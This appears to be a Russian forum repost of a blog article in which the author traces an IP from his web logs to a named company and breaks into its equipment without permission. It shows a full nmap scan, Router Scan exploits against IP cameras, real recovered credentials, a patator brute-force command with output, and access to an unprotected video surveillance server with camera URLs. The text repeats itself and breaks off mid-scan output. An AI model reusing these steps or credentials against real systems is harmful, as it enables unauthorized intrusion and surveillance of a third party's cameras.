- Автор темы
- #1
Деаноним DDoS'ера
Hello WorldApril 25, 2019
hello world
Если вам интересно, где я взял IP адрес, который будет участвовать в примерах данной статьи, то я его взял из логов доступа веб-сервера.
Кто-то, видимо, пытался брут-форсить сайт:
Приходили вот такие запросы:
193.232.100.234 - - [16/Mar/2019:01:52:24 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=11cc8 HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:25 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690388964 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:25 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1a774 HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:26 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690389978 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:26 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1f50e HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:27 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690450965 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:27 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1fcfa HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:28 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690451964 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:28 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1fc40 HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:55:29 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690512973 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
Пишу «видимо», так как я до конца не уверен — оборудование хостинга само не пропускает более нескольких запросов в секунду, а для сайта данный IP уже давным-давно заблокирован автоматическим скриптом за слишком большое количество запросов. То есть приходящие запросы как минимум пару последних недель (столько хранятся логи) приходят и получают в ответ 403 ошибку — то есть не оказывают какого-либо значимого влияния на нагрузку сервера. Именно по этой причине эту активность я заметил только спустя несколько недель.
Не зависимо от того, заело программу или заело там у кого-то в голове, у нас есть IP адрес 193.232.100.234 и моральное право поковырять его. Но самую малость. Прям совсем чуть-чуть. Даже почти трогать ничего не будем. Вот просто посмотрим кто это и всё…
Попробуем по IP узнать имя хоста:
dig -x 193.232.100.234
И:
nslookup 193.232.100.234
Поскольку PTR запись для данного хоста отсутствует, то данных мы не получили.
Иногда результаты может дать поиск сайтов на одном IP, а также поиск по Securitytrails.
Первый сервис дал нам имя хоста:
dig +short lk.repropark.ru
193.232.100.234
Securitytrails тоже привели к lk.repropark.ru, а уже этот хост рассказал о существовании хостов mailsrvnew.repropark.ru и meet.repropark.ru.
Итак, есть хосты
а) кем-то посторонним, кто уже взломал сервера этой организации и использует их для своих целей
б) съехавшим с катушек системным администратором этой компании
Как определить службы на нестандартных портах
Выполним полное сканирование портов вместе со сбором баннеров служб:
sudo nmap -p- -sV --script=banner 193.232.100.234
Получаем следующий результат:
Nmap scan report for 193.232.100.234
Host is up (0.092s latency).
Not shown: 65135 filtered ports, 354 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_banner: 220 (vsFTPd 3.0.3)
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u4
25/tcp open smtp?
| fingerprint-strings:
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, LDAPSearchReq, RTSPRequest:
| 452 syntax error (connecting)
| syntax error (connecting)
| Hello, Help, Kerberos, LPDString, SSLSessionReq, TLSSessionReq:
| 452 syntax error (connecting)
| SIPOptions:
| 452 syntax error (connecting)
| syntax error (connecting)
| syntax error (connecting)
| syntax error (connecting)
|_ many errors
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
211/tcp open ftp vsftpd 3.0.2
|_banner: 220 (vsFTPd 3.0.2)
212/tcp open ftp Microsoft ftpd
|_banner: 220 Microsoft FTP Service
443/tcp open ssl/http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
1723/tcp open pptp MikroTik (Firmware: 1)
5010/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u3 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u3
5013/tcp open ssl/fmpro-v6?
5222/tcp open jabber Ignite Realtime Openfire Jabber server 3.10.0 or later
| xmpp-info:
| STARTTLS Failed
| info:
| compression_methods:
| features:
| stream_id: 6oytos41yv
| unknown:
| errors:
| invalid-namespace
| (timeout)
| xmpp:
| server name: chatsrv
| version: 1.0
| auth_mechanisms:
|_ capabilities:
7211/tcp open ftp vsftpd 3.0.2
|_banner: 220 (vsFTPd 3.0.2)
7443/tcp open ssl/http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
8000/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3
8880/tcp open http Apache httpd 2.2.25 ((Win32))
|_http-server-header: Apache/2.2.25 (Win32)
9090/tcp open http Jetty
9780/tcp open unknown
9786/tcp open http Devline Line surveillance system httpd
|_http-server-header: Devline Linia Server
9977/tcp open http Boa httpd
9978/tcp open http Boa httpd
9979/tcp open http Boa httpd
9980/tcp open http Boa httpd
9981/tcp open http Boa httpd
9982/tcp open http Boa httpd
9983/tcp open http Boa httpd
9984/tcp open http Boa httpd
9985/tcp open http Boa httpd
9986/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9987/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9988/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9989/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9990/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9991/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9992/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9993/tcp open http lighttpd
|_http-server-header: dcs-lig-httpd
9994/tcp open http lighttpd
|_http-server-header: dcs-lig-httpd
9995/tcp open http lighttpd
|_http-server-header: dcs-lig-httpd
9996/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9997/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9998/tcp open http lighttpd (D-Link DCS IP camera)
|_http-server-header: dcs-lig-httpd
17789/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u4 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u4
19777/tcp open ssl/unknown
19781/tcp open ssl/unknown
19782/tcp open ssl/unknown
19887/tcp open ssl/unknown
19889/tcp open ssl/unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.70%I=7%D=3/17%Time=5C8E6552%P=x86_64-unknown-linux-gnu%r
SF:(Hello,1F,"452\x20syntax\x20error\x20\(connecting\)\r\n")%r(Help,1F,"45
SF:2\x20syntax\x20error\x20\(connecting\)\r\n")%r(GenericLines,3E,"452\x20
SF:syntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(connec
SF:ting\)\r\n")%r(GetRequest,3E,"452\x20syntax\x20error\x20\(connecting\)\
SF:r\n452\x20syntax\x20error\x20\(connecting\)\r\n")%r(HTTPOptions,3E,"452
SF:\x20syntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(co
SF:nnecting\)\r\n")%r(RTSPRequest,3E,"452\x20syntax\x20error\x20\(connecti
SF:ng\)\r\n452\x20syntax\x20error\x20\(connecting\)\r\n")%r(SSLSessionReq,
SF:1F,"452\x20syntax\x20error\x20\(connecting\)\r\n")%r(TLSSessionReq,1F,"
SF:452\x20syntax\x20error\x20\(connecting\)\r\n")%r(Kerberos,1F,"452\x20sy
SF:ntax\x20error\x20\(connecting\)\r\n")%r(FourOhFourRequest,3E,"452\x20sy
SF:ntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(connecti
SF:ng\)\r\n")%r(LPDString,1F,"452\x20syntax\x20error\x20\(connecting\)\r\n
SF:")%r(LDAPSearchReq,3E,"452\x20syntax\x20error\x20\(connecting\)\r\n452\
SF:x20syntax\x20error\x20\(connecting\)\r\n")%r(SIPOptions,91,"452\x20synt
SF:ax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(connecting
SF:\)\r\n452\x20syntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20erro
SF:r\x20\(connecting\)\r\n421\x20too\x20many\x20errors\r\n");
Service Info: Host: MikroTik; OSs: Unix, Linux, Windows; Devices: security-misc, webcam; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1000.83 seconds
Не хост, а какая-то рождественская ёлка! Там имеется:
Для порта 9998 так и написано, что это D-Link DCS IP camera.
Имеется ещё несколько совсем непонятных портов.
Видимо, это роутер или компьютер, на котором настроена проброска (forwarding) портов на другие устройства, размещающиеся в локальной сети.
Как использовать Router Scan by Stas’M на нестандартных портах
Оборудование на портах 9977, 9978, 9979, 9980, 9981 9982, 9983, 9984, 9985, 9986, 9987, 9988, 9989, 9990, 9991, 9992, 9993, 9994, 9995, 9996, 9997 и 9998 — это какая-то техника вроде роутеров или IP камер.
Для их проверки можно использовать RouterSploit или (в рамках государственной программы «Ипортозамещение программного обеспечения») Router Scan by Stas’M.
По умолчанию Router Scan сканирует три популярных веб порта 80, 8080 и 1080. Но в нашем случае все порты другие, поэтому нужно изменить настройки портов. Это можно сделать в графическом интерфейсе или (что быстрее, если портов много), в файл ports.txt, которые лежит в корневой папке Router Scan, впишите нужные порты — один порт на одну строку.
Запускаем сканирование:
Для трёх устройств сработали эксплойты и мы знаем их логин и пароль: admin:njhufib
Я посмотрел — это действительно IP камеры.
Пароля «торгаши» в словаре Router Scan нет, поэтому даже если у других устройств, для которых не нашлось рабочего эксплойта, такой же пароль, то Router Scan не сможет это проверить.
Брут-форс служб на нестандартных портах
Чтобы проверить, подходят ли найденные учётные данные к устройствам на других портах, воспользуемся замечательной программой для брутфорса patator.
В опциях нам нужно будет указать тип аутентификации, поэтому начнём с его определения. Это можно сделать командой вида:
curl -v ХОСТ:ПОРТ
В результатах которой нужно посмотреть на заголовки.
Например:
curl -v 193.232.100.234:9977
Выведет:
* Trying 193.232.100.234...
* TCP_NODELAY set
* Connected to 193.232.100.234 (193.232.100.234) port 9977 (#0)
> GET / HTTP/1.1
> Host: 193.232.100.234:9977
> User-Agent: curl/7.64.0
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 401 Unauthorized
< Date: Tue, 19 Mar 2019 04:34:45 GMT
< Connection: close
< WWW-Authenticate: Basic realm="DCS-2103"
< Content-Length: 0
< Content-Type: text/html; charset=ISO-8859-1
<
* Closing connection 0
Смотрим на строку содержащую WWW-Authenticate: Basic — итак, используется Basic аутентификация.
В случае неудачного входа возвращается код ошибки 401 (Unauthorized).
Составляем команду:
patator http_fuzz url=http://193.232.100.234:FILE0 0=ports.txt auth_type=basic user_pass=admin:njhufib -x ignore:code=401 -x ignore,retry:code=500
В ней:
07:35:23 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2019-03-19 07:35 MSK
07:35:23 patator INFO -
07:35:23 patator INFO - code size:clen time | candidate | num | mesg
07:35:23 patator INFO - -----------------------------------------------------------------------------
07:35:23 patator INFO - 200 2855:2727 0.242 | 9983 | 7 | HTTP/1.1 200 OK
07:35:23 patator INFO - 200 2855:2727 0.239 | 9984 | 8 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2785:2657 0.250 | 9990 | 14 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2785:2657 0.227 | 9991 | 15 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2785:2657 0.227 | 9992 | 16 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2593:2378 0.233 | 9993 | 17 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2591:2378 0.232 | 9994 | 18 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2593:2378 0.232 | 9995 | 19 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2785:2657 0.235 | 9997 | 21 | HTTP/1.1 200 OK
07:35:24 patator INFO - 200 2593:2378 0.239 | 9998 | 22 | HTTP/1.1 200 OK
07:35:25 patator INFO - Hits/Done/Skip/Fail/Size: 10/22/0/0/22, Avg: 10 r/s, Time: 0h 0m 2s
Смотрим на столбец candidate — эта пара паролей успешно подошла к ещё десяти хостам на других портах:
Как открыть Devline Linia Server (Devline) без Flash
С http://193.232.100.234:9786/ возникли некоторые проблемы — я никак не мог найти веб-браузер, который до сих под поддерживает Flash… (у меня Linux). Я догадался запустить виртуальную машину с Windows и открыл этот адрес в Internet Explorer, вот так выглядит Devline Linia Server (Devline):
Вы можете спросить, а какой нужно вводить пароль — пароль вводить не нужно… Просто открываете адрес и смотрите… Возможно, так и было задумано…
Пользователь web, пароль - <пустая строка>. Чтобы начальнику было проще запомнить?
IT отдел — возможно, отсюда велась DoS атака…
Поскольку Flash довольно древняя технология, то есть шанс, что приложение на Flash устроено довольно просто и есть возможность получить доступ к камерам без браузера Internet Explorer. Можно декомпилировать файл с Flash, но, на мой взгляд, ещё проще понять принципы работы по сетевой активности.
Анализ сетевой активности Flash приложения
Уже наверное даже не все поймут, что такое Flash. Это мощная технология, значительно расширившая в своё время возможности веб-браузеров, очень популярная. А теперь из-за отсутствия поддержки в браузерах, о ней практически забыли. Поэтому совсем кратко про анализ Flash приложения в Wireshark.
Поскольку Flash работает в браузере, то эта программа отправляет обычные HTTP запросы. Для анализа достаточно захватить трафик и в Wireshark использовать фильтр
http
Там оказалось всё банально просто — делаются запросы к адресам вида:
В возвращаемом XML документе содержаться относительные ссылки на видео и фото, например, http://193.232.100.234:9786/cameras/2/video, http://193.232.100.234:9786/cameras/23/video и так далее.
Зачем здесь Flash если всё можно было бы сделать методами JavaScript и HTML5? Видимо, фронтэнд написали лет пятнадцать назад и тот разработчик, который его делал, уволился и теперь никто не может переделать… Сама-то компания devline, судя по прайс-листу на официальном сайте, живая.
Заключение
И, пожалуй, хватит с них. С какого перепуга кто-то из сотрудников DoS'ил мой сайт? Не знаю. Видимо, на работе у него слишком много свободного времени.
Камеры видеонаблюдения или специально собраны в хаб и выведены для открытого доступа, или настроены как-то уж совсем нарочито неправильно — не нужен не только пароль, для их просмотра не нужно даже вводить имя пользователя — возможно, это сделано намерено, чтобы все видели какой образцовый у них завод…
Hello WorldApril 25, 2019
hello world
Если вам интересно, где я взял IP адрес, который будет участвовать в примерах данной статьи, то я его взял из логов доступа веб-сервера.
Кто-то, видимо, пытался брут-форсить сайт:
Приходили вот такие запросы:
193.232.100.234 - - [16/Mar/2019:01:52:24 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=11cc8 HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:25 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690388964 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:25 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1a774 HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:26 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690389978 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:26 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1f50e HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:27 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690450965 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:27 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1fcfa HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:28 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690451964 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:28 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1fc40 HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:55:29 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690512973 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
Пишу «видимо», так как я до конца не уверен — оборудование хостинга само не пропускает более нескольких запросов в секунду, а для сайта данный IP уже давным-давно заблокирован автоматическим скриптом за слишком большое количество запросов. То есть приходящие запросы как минимум пару последних недель (столько хранятся логи) приходят и получают в ответ 403 ошибку — то есть не оказывают какого-либо значимого влияния на нагрузку сервера. Именно по этой причине эту активность я заметил только спустя несколько недель.
Не зависимо от того, заело программу или заело там у кого-то в голове, у нас есть IP адрес 193.232.100.234 и моральное право поковырять его. Но самую малость. Прям совсем чуть-чуть. Даже почти трогать ничего не будем. Вот просто посмотрим кто это и всё…
Попробуем по IP узнать имя хоста:
dig -x 193.232.100.234
И:
nslookup 193.232.100.234
Поскольку PTR запись для данного хоста отсутствует, то данных мы не получили.
Иногда результаты может дать поиск сайтов на одном IP, а также поиск по Securitytrails.
Первый сервис дал нам имя хоста:
- lk.repropark.ru
dig +short lk.repropark.ru
193.232.100.234
Securitytrails тоже привели к lk.repropark.ru, а уже этот хост рассказал о существовании хостов mailsrvnew.repropark.ru и meet.repropark.ru.
Итак, есть хосты
- lk.repropark.ru (193.232.100.234)
- mailsrvnew.repropark.ru (IP в данное время не установлен)
- meet.repropark.ru (193.232.100.237)
- repropark.ru (195.208.0.16)
а) кем-то посторонним, кто уже взломал сервера этой организации и использует их для своих целей
б) съехавшим с катушек системным администратором этой компании
Как определить службы на нестандартных портах
Выполним полное сканирование портов вместе со сбором баннеров служб:
sudo nmap -p- -sV --script=banner 193.232.100.234
Получаем следующий результат:
Nmap scan report for 193.232.100.234
Host is up (0.092s latency).
Not shown: 65135 filtered ports, 354 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_banner: 220 (vsFTPd 3.0.3)
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u4
25/tcp open smtp?
| fingerprint-strings:
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, LDAPSearchReq, RTSPRequest:
| 452 syntax error (connecting)
| syntax error (connecting)
| Hello, Help, Kerberos, LPDString, SSLSessionReq, TLSSessionReq:
| 452 syntax error (connecting)
| SIPOptions:
| 452 syntax error (connecting)
| syntax error (connecting)
| syntax error (connecting)
| syntax error (connecting)
|_ many errors
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
211/tcp open ftp vsftpd 3.0.2
|_banner: 220 (vsFTPd 3.0.2)
212/tcp open ftp Microsoft ftpd
|_banner: 220 Microsoft FTP Service
443/tcp open ssl/http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
1723/tcp open pptp MikroTik (Firmware: 1)
5010/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u3 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u3
5013/tcp open ssl/fmpro-v6?
5222/tcp open jabber Ignite Realtime Openfire Jabber server 3.10.0 or later
| xmpp-info:
| STARTTLS Failed
| info:
| compression_methods:
| features:
| stream_id: 6oytos41yv
| unknown:
| errors:
| invalid-namespace
| (timeout)
| xmpp:
| server name: chatsrv
| version: 1.0
| auth_mechanisms:
|_ capabilities:
7211/tcp open ftp vsftpd 3.0.2
|_banner: 220 (vsFTPd 3.0.2)
7443/tcp open ssl/http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
8000/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3
8880/tcp open http Apache httpd 2.2.25 ((Win32))
|_http-server-header: Apache/2.2.25 (Win32)
9090/tcp open http Jetty
9780/tcp open unknown
9786/tcp open http Devline Line surveillance system httpd
|_http-server-header: Devline Linia Server
9977/tcp open http Boa httpd
9978/tcp open http Boa httpd
9979/tcp open http Boa httpd
9980/tcp open http Boa httpd
9981/tcp open http Boa httpd
9982/tcp open http Boa httpd
9983/tcp open http Boa httpd
9984/tcp open http Boa httpd
9985/tcp open http Boa httpd
9986/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9987/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9988/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9989/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9990/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9991/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9992/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9993/tcp open http lighttpd
|_http-server-header: dcs-lig-httpd
9994/tcp open http lighttpd
|_http-server-header: dcs-lig-httpd
9995/tcp open http lighttpd
|_http-server-header: dcs-lig-httpd
9996/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9997/tcp open http Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9998/tcp open http lighttpd (D-Link DCS IP camera)
|_http-server-header: dcs-lig-httpd
17789/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u4 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u4
19777/tcp open ssl/unknown
19781/tcp open ssl/unknown
19782/tcp open ssl/unknown
19887/tcp open ssl/unknown
19889/tcp open ssl/unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.70%I=7%D=3/17%Time=5C8E6552%P=x86_64-unknown-linux-gnu%r
SF:(Hello,1F,"452\x20syntax\x20error\x20\(connecting\)\r\n")%r(Help,1F,"45
SF:2\x20syntax\x20error\x20\(connecting\)\r\n")%r(GenericLines,3E,"452\x20
SF:syntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(connec
SF:ting\)\r\n")%r(GetRequest,3E,"452\x20syntax\x20error\x20\(connecting\)\
SF:r\n452\x20syntax\x20error\x20\(connecting\)\r\n")%r(HTTPOptions,3E,"452
SF:\x20syntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(co
SF:nnecting\)\r\n")%r(RTSPRequest,3E,"452\x20syntax\x20error\x20\(connecti
SF:ng\)\r\n452\x20syntax\x20error\x20\(connecting\)\r\n")%r(SSLSessionReq,
SF:1F,"452\x20syntax\x20error\x20\(connecting\)\r\n")%r(TLSSessionReq,1F,"
SF:452\x20syntax\x20error\x20\(connecting\)\r\n")%r(Kerberos,1F,"452\x20sy
SF:ntax\x20error\x20\(connecting\)\r\n")%r(FourOhFourRequest,3E,"452\x20sy
SF:ntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(connecti
